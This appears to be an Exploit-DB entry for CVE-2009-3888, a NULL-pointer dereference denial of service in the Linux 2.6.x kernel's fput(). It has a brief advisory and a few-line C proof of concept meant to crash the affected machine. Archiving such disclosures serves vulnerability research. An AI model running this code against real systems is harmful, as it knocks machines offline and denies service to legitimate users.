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exploitdbRobin GetzEDB-ID:33338
HistoryNov 09, 2009 - 12:00 a.m.

Linux Kernel 2.6.x - 'fput' NULL Pointer Dereference Local Denial of Service Vulnerabilty

2009-11-0900:00:00
Robin Getz
www.exploit-db.com
12

0.0004 Low

EPSS

Percentile

9.7%

Linux Kernel 2.6.x ‘fput()’ NULL Pointer Dereference Local Denial of Service Vulnerabilty. CVE-2009-3888. Dos exploit for linux platform

source: http://www.securityfocus.com/bid/36953/info

The Linux kernel is prone to a local denial-of-service vulnerability that stems from a NULL-pointer dereference.

Attackers can exploit this issue to crash the affected computer, denying service to legitimate users.

int main()
{ 
static long long a[1024 * 1024 * 20] = { 0 }; 

return a;

}

0.0004 Low

EPSS

Percentile

9.7%